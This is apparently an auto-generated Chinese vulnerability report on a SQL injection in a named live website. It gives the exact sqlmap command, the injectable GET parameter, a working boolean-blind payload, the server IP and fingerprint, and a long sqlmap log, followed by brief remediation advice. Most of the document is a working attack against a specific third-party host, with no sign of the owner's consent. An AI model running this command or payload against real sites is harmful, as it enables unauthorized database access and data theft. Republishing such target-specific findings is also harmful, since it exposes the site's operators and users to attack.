基本信息

漏洞类型：SQL注入漏洞

漏洞等级：高危

厂商信息：此处需要手动搜索

漏洞简述

漏洞描述

即当应用程序使用输入内容来构造动态SQL语句以访问数据库时，如果对输入的参数没有进行严格的过滤或者过滤不完整将会导致SQL注入攻击的产生。

漏洞危害

恶意用户通过构造特殊的SQL查询语句把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。从而可以获取到数据库的相关信息，包括数据库账号密码信息，甚至可上传木马，从而控制服务器。

漏洞详情

网站漏洞报表

注入网址:http://ywkt.com/default.asp?page=2^&BigClassName=^&SmallClassName=^&SpecialName=^&Action=^&keyword=

执行命令:python sqlmap.py -u http://ywkt.com/default.asp?page=2^&BigClassName=^&SmallClassName=^&SpecialName=^&Action=^&keyword= --random-agent --dbs --current-user --current-db --is-db

注入参数(方式) : SpecialName (GET)  
  
 注入方式 : boolean-based blind  
  
 注入标题 : AND boolean-based blind - WHERE or HAVING clause  
  
 注入攻击 : page=2&BigClassName=&SmallClassName=&SpecialName=' AND 1041=1041 AND 'kXvd'='kXvd&Action=&keyword=

数据库类型 : Microsoft Access  
  
服务器版本 : Windows 8.1 or 2012 R2  
  
服务器语言 : ASP.NET, Microsoft IIS 8.5, ASP  
  
数据库版本 : Microsoft Access

网站信息报表

百度权重 4

网站主页 http://ywkt.com

网站描述 "seo综合查询可以查到该网站各大搜索引擎的信息，包括收录，反链及关键词排名，也可以一目了然的看到该域名的相关信息，比如域名年龄相关备案等等，及时调整网站优化。" /

网站标题 语文课堂网--首页

IP\_\_坐标 北美地区

所属\_\_IP 107.151.82.178

网站年龄 12年4月13天（创建于2006年12月20日,过期时间为2024年12月20日)

备案编号 暂无信息

备案性质 暂无信息

备案名称 暂无信息

备案时间 暂无信息

百度收录 36万5000

协议类型 HTTP/1.1 200 OK

页面类型 text/html

服务类型 Microsoft-IIS/8.5

程序语言 暂无信息

网站漏洞复现

执行命令

python sqlmap.py -u http://ywkt.com/default.asp?page=2^&BigClassName=^&SmallClassName=^&SpecialName=^&Action=^&keyword= --random-agent --dbs --current-user --current-db --is-db

返回结果

\_\_\_  
  
 \_\_H\_\_  
  
 \_\_\_ \_\_\_[(]\_\_\_\_\_ \_\_\_ \_\_\_ {1.2.11.6#dev}  
  
|\_ -| . [,] | .'| . |  
  
|\_\_\_|\_ [(]\_|\_|\_|\_\_,| \_|  
  
 |\_|V |\_| http://sqlmap.org  
  
  
  
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program  
  
  
  
[\*] starting @ 00:37:21 /2019-05-03/  
  
  
  
[00:37:21] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16' from file 'D:\HACKER\_TOOLS\LANGZI\_HACKER\LANGZI\_SQL\_INJECTION\Auto\_ExtrAct\_1.0\sqlmap\txt\user-agents.txt'  
  
[00:37:21] [WARNING] provided value for parameter 'BigClassName' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly  
  
[00:37:21] [WARNING] provided value for parameter 'SmallClassName' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly  
  
[00:37:21] [WARNING] provided value for parameter 'SpecialName' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly  
  
[00:37:21] [WARNING] provided value for parameter 'Action' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly  
  
[00:37:21] [WARNING] provided value for parameter 'keyword' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly  
  
[00:37:21] [INFO] testing connection to the target URL  
  
[00:37:22] [INFO] checking if the target is protected by some kind of WAF/IPS  
  
[00:37:22] [INFO] testing if the target URL content is stable  
  
[00:37:23] [INFO] target URL content is stable  
  
[00:37:23] [INFO] testing if GET parameter 'page' is dynamic  
  
[00:37:24] [INFO] GET parameter 'page' appears to be dynamic  
  
[00:37:24] [INFO] heuristics detected web page charset 'utf-8'  
  
[00:37:24] [WARNING] heuristic (basic) test shows that GET parameter 'page' might not be injectable  
  
[00:37:24] [INFO] testing for SQL injection on GET parameter 'page'  
  
[00:37:24] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'  
  
[00:37:25] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'  
  
[00:37:25] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'  
  
[00:37:26] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'  
  
[00:37:26] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'  
  
[00:37:27] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'  
  
[00:37:27] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'  
  
[00:37:27] [INFO] testing 'MySQL inline queries'  
  
[00:37:27] [INFO] testing 'PostgreSQL inline queries'  
  
[00:37:27] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'  
  
[00:37:27] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'  
  
[00:37:28] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'  
  
[00:37:28] [INFO] testing 'Oracle stacked queries (DBMS\_PIPE.RECEIVE\_MESSAGE - comment)'  
  
[00:37:29] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'  
  
[00:37:29] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'  
  
[00:37:30] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'  
  
[00:37:30] [INFO] testing 'Oracle AND time-based blind'  
  
[00:37:30] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'  
  
[00:37:36] [WARNING] GET parameter 'page' does not seem to be injectable  
  
[00:37:36] [INFO] testing if GET parameter 'BigClassName' is dynamic  
  
[00:37:37] [INFO] GET parameter 'BigClassName' appears to be dynamic  
  
[00:37:37] [WARNING] heuristic (basic) test shows that GET parameter 'BigClassName' might not be injectable  
  
[00:37:37] [INFO] testing for SQL injection on GET parameter 'BigClassName'  
  
[00:37:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'  
  
[00:37:38] [WARNING] reflective value(s) found and filtering out  
  
[00:37:42] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'  
  
[00:37:43] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'  
  
[00:37:44] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'  
  
[00:37:46] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'  
  
[00:37:48] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'  
  
[00:37:49] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'  
  
[00:37:50] [INFO] testing 'MySQL inline queries'  
  
[00:37:50] [INFO] testing 'PostgreSQL inline queries'  
  
[00:37:51] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'  
  
[00:37:51] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'  
  
[00:37:53] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'  
  
[00:37:53] [INFO] testing 'Oracle stacked queries (DBMS\_PIPE.RECEIVE\_MESSAGE - comment)'  
  
[00:37:54] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'  
  
[00:37:56] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'  
  
[00:37:58] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'  
  
[00:37:58] [INFO] testing 'Oracle AND time-based blind'  
  
[00:38:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'  
  
[00:38:20] [WARNING] GET parameter 'BigClassName' does not seem to be injectable  
  
[00:38:20] [INFO] testing if GET parameter 'SmallClassName' is dynamic  
  
[00:38:21] [WARNING] GET parameter 'SmallClassName' does not appear to be dynamic  
  
[00:38:22] [WARNING] heuristic (basic) test shows that GET parameter 'SmallClassName' might not be injectable  
  
[00:38:22] [INFO] heuristic (XSS) test shows that GET parameter 'SmallClassName' might be vulnerable to cross-site scripting (XSS) attacks  
  
[00:38:22] [INFO] testing for SQL injection on GET parameter 'SmallClassName'  
  
[00:38:22] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'  
  
[00:38:30] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'  
  
[00:38:31] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'  
  
[00:38:35] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'  
  
[00:38:39] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'  
  
[00:38:42] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'  
  
[00:38:46] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'  
  
[00:38:47] [INFO] testing 'MySQL inline queries'  
  
[00:38:47] [INFO] testing 'PostgreSQL inline queries'  
  
[00:38:48] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'  
  
[00:38:49] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'  
  
[00:38:51] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'  
  
[00:38:54] [INFO] testing 'Oracle stacked queries (DBMS\_PIPE.RECEIVE\_MESSAGE - comment)'  
  
[00:38:57] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'  
  
[00:39:00] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'  
  
[00:39:03] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'  
  
[00:39:07] [INFO] testing 'Oracle AND time-based blind'  
  
[00:39:10] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'  
  
[00:39:53] [WARNING] GET parameter 'SmallClassName' does not seem to be injectable  
  
[00:39:53] [INFO] testing if GET parameter 'SpecialName' is dynamic  
  
[00:39:54] [INFO] GET parameter 'SpecialName' appears to be dynamic  
  
[00:39:54] [WARNING] heuristic (basic) test shows that GET parameter 'SpecialName' might not be injectable  
  
[00:39:54] [INFO] testing for SQL injection on GET parameter 'SpecialName'  
  
[00:39:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'  
  
[00:39:59] [INFO] GET parameter 'SpecialName' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="32288")  
  
[00:40:00] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'  
  
[00:40:01] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'  
  
[00:40:01] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'  
  
[00:40:01] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'  
  
[00:40:01] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'  
  
[00:40:01] [INFO] testing 'MySQL inline queries'  
  
[00:40:01] [INFO] testing 'PostgreSQL inline queries'  
  
[00:40:02] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'  
  
[00:40:02] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'  
  
[00:40:03] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'  
  
[00:40:03] [INFO] testing 'Oracle stacked queries (DBMS\_PIPE.RECEIVE\_MESSAGE - comment)'  
  
[00:40:03] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'  
  
[00:40:03] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'  
  
[00:40:03] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'  
  
[00:40:03] [INFO] testing 'Oracle AND time-based blind'  
  
[00:40:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'  
  
[00:40:03] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found  
  
[00:40:06] [INFO] checking if the injection point on GET parameter 'SpecialName' is a false positive  
  
GET parameter 'SpecialName' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N  
  
sqlmap identified the following injection point(s) with a total of 448 HTTP(s) requests:  
  
---  
  
Parameter: SpecialName (GET)  
  
 Type: boolean-based blind  
  
 Title: AND boolean-based blind - WHERE or HAVING clause  
  
 Payload: page=2&BigClassName=&SmallClassName=&SpecialName=' AND 1041=1041 AND 'kXvd'='kXvd&Action=&keyword=  
  
---  
  
[00:40:12] [INFO] testing MySQL  
  
[00:40:12] [WARNING] the back-end DBMS is not MySQL  
  
[00:40:12] [INFO] testing Oracle  
  
[00:40:12] [WARNING] the back-end DBMS is not Oracle  
  
[00:40:12] [INFO] testing PostgreSQL  
  
[00:40:12] [WARNING] the back-end DBMS is not PostgreSQL  
  
[00:40:12] [INFO] testing Microsoft SQL Server  
  
[00:40:13] [WARNING] the back-end DBMS is not Microsoft SQL Server  
  
[00:40:13] [INFO] testing SQLite  
  
[00:40:13] [WARNING] the back-end DBMS is not SQLite  
  
[00:40:13] [INFO] testing Microsoft Access  
  
[00:40:14] [INFO] confirming Microsoft Access  
  
[00:40:14] [INFO] the back-end DBMS is Microsoft Access  
  
web server operating system: Windows 8.1 or 2012 R2  
  
web application technology: ASP.NET, Microsoft IIS 8.5, ASP  
  
back-end DBMS: Microsoft Access  
  
[00:40:14] [WARNING] on Microsoft Access it is not possible to enumerate the current user  
  
current user: None  
  
[00:40:14] [WARNING] on Microsoft Access it is not possible to get name of the current database  
  
current database: None  
  
[00:40:14] [WARNING] on Microsoft Access it is not possible to test if current user is DBA  
  
current user is DBA: None  
  
[00:40:14] [WARNING] on Microsoft Access it is not possible to enumerate databases (use only '--tables')  
  
[00:40:14] [WARNING] HTTP error codes detected during run:  
  
500 (Internal Server Error) - 235 times  
  
[00:40:14] [INFO] fetched data logged to text files under 'C:\Users\langzi\.sqlmap\output\ywkt.com'  
  
  
  
[\*] ending @ 00:40:14 /2019-05-03/

敏感数据

注入参数(方式) : SpecialName (GET)  
  
 注入方式 : boolean-based blind  
  
 注入标题 : AND boolean-based blind - WHERE or HAVING clause  
  
 注入攻击 : page=2&BigClassName=&SmallClassName=&SpecialName=' AND 1041=1041 AND 'kXvd'='kXvd&Action=&keyword=

数据库类型 : Microsoft Access  
  
服务器版本 : Windows 8.1 or 2012 R2  
  
服务器语言 : ASP.NET, Microsoft IIS 8.5, ASP  
  
数据库版本 : Microsoft Access

修复建议

代码原理防护

1.对用户的输入进行严格过滤，包括所有的参数，URL和HTTP头部等所有需要传给数据库的数据。  
 包括但不限于以下字符及字符串  
 select and or like regxp from where update exec order by having drop delete ( ) [ ] < > , . ; : ' " # % + - \_ = / \* @  
 2.预编译SQL语句，而不要动态组装SQL语句，否则必须确保在使用输入的数据组装成SQL语句之前，对特殊字符进行预处理。  
 3.以最小权限执行SQL语句

安全防火墙防护

1.安装网站防火墙  
 2.接入云WAF